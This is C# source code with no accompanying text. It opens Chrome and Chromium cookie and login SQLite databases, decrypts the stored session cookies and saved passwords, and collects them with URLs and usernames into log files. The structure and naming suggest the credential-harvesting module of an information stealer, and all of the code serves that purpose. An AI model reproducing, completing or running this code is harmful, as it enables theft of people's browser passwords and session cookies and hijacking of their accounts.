public static void Inizialize() { if (File.Exists(CombineEx.Combination(OSLibrary.GetOSBit(), "SQLite.Interop.dll"))) { _Logs.Clear(); for (int i = 0; i < ChromeCookiesSearcher.GetCookies.Count; i++) { int SafeIndex = i; if (File.Exists(ChromeCookiesSearcher.GetCookies[SafeIndex])) { try { using (var Connect = new SQLiteConnection($"Data Source={ChromeCookiesSearcher.GetCookies[SafeIndex]};pooling=false")) { Connect.Open(); using (var ComText = new SQLiteCommand("SELECT name, encrypted_value, path, expires_utc, last_access_utc, host_key FROM cookies", Connect)) { ComText.CommandType = CommandType.Text; using (SQLiteDataReader reader = ComText.ExecuteReader()) { if (!reader.HasRows) { continue; } else { while (reader.Read()) { _Logs.Add(new BaseCookies { Application = Path.GetFileNameWithoutExtension(ChromeCookiesSearcher.GetCookies[SafeIndex]), HostKey = (string)reader["host_Key"], Name = (string)reader["Name"], Path = (string)reader["path"], Expires_utc = (long)reader["expires_utc"], Last_access_utc = (long)reader["last_access_utc"], EncryptedValue = ChromeDecrypt.DecryptValue((byte[])reader["encrypted_value"], DataProtectionScope.LocalMachine) }); } } } } SQLiteConnection.ClearPool(Connect); } } catch (SQLiteException) { continue; } catch (FormatException) { continue; } catch (ArgumentException) { continue; } catch (IndexOutOfRangeException) { continue; } catch (DllNotFoundException) { continue; } } } Ccleaner.DeltaLogs("Cookies"); foreach (BaseCookies ss in _Logs) { SaveData.SaveFile(GlobalPath.CookiesLog, ss.ToString()); } } }
//public static List<BrRecover> GetPasswords(string path) //{ // string application = GetApplication.BrowserName(path); // List<BrRecover> result; // try // { // SqlHandler sqlite = new SqlHandler(path); // var list = new List<BrRecover>(); // sqlite.ReadTable("logins"); // for (int i = 0; i < sqlite.GetRowCount(); i++) // { // try // { // string text2 = string.Empty; // try // { // byte[] bytes = Chromium.DecryptChromium(Encoding.Default.GetBytes(sqlite.GetValue(i, 5)), null); // text2 = Encoding.UTF8.GetString(bytes); // } // catch (Exception) // { // } // if (text2 != "") // { // list.Add(new BrRecover // { // URL = sqlite.GetValue(i, 1), // Username = sqlite.GetValue(i, 3), // Password = text2, // Application = application // }); // } // } // catch (Exception ex) // { // Console.WriteLine(ex.ToString()); // } // } // result = list; // } // catch (Exception) // { // throw; // } // return result; //} public static List <BrRecover> GetPasswords(string datapath) { string application = GetApplication.BrowserName(datapath); List <BrRecover> list = new List <BrRecover>(); SQLiteHandler sqliteHandler = null; if (!File.Exists(datapath)) { return(list); } try { sqliteHandler = new SQLiteHandler(datapath); } catch (Exception) { return(list); } if (!sqliteHandler.ReadTable("logins")) { return(list); } int rowCount = sqliteHandler.GetRowCount(); for (int i = 0; i < rowCount; i++) { try { string value = sqliteHandler.GetValue(i, "origin_url"); string value2 = sqliteHandler.GetValue(i, "username_value"); string text = ChromeDecrypt.Decrypt(sqliteHandler.GetValue(i, "password_value")); if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && text != null) { list.Add(new BrRecover { URL = value, Username = value2, Password = text, Application = application }); } } catch (Exception) { } } return(list); }
public static List <CookieChromium> GetCookie(string dataPath) { string application = GetApplication.BrowserName(dataPath); List <CookieChromium> list = new List <CookieChromium>(); SQLiteHandler sqliteHandler = null; if (!File.Exists(dataPath)) { return(list); } try { sqliteHandler = new SQLiteHandler(dataPath); } catch (Exception) { return(list); } if (!sqliteHandler.ReadTable("cookies")) { return(list); } int rowCount = sqliteHandler.GetRowCount(); for (int i = 0; i < rowCount; i++) { try { string value = sqliteHandler.GetValue(i, "host_key"); string value2 = sqliteHandler.GetValue(i, "name"); string value3 = ChromeDecrypt.Decrypt(sqliteHandler.GetValue(i, "encrypted_value")); string value4 = sqliteHandler.GetValue(i, "path"); string value5 = sqliteHandler.GetValue(i, "expires_utc"); string value6 = sqliteHandler.GetValue(i, "last_access_utc"); bool secure = sqliteHandler.GetValue(i, "secure") == "1"; bool httpOnly = sqliteHandler.GetValue(i, "httponly") == "1"; bool expired = sqliteHandler.GetValue(i, "has_expired") == "1"; bool persistent = sqliteHandler.GetValue(i, "persistent") == "1"; bool priority = sqliteHandler.GetValue(i, "priority") == "1"; if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3)) { list.Add(new CookieChromium { HostKey = value, Name = value2, Value = value3, Path = value4, ExpiresUTC = value5, LastAccessUTC = value6, Secure = secure, HttpOnly = httpOnly, Expired = expired, Persistent = persistent, Priority = priority, Browser = application }); } } catch (Exception) { } } return(list); }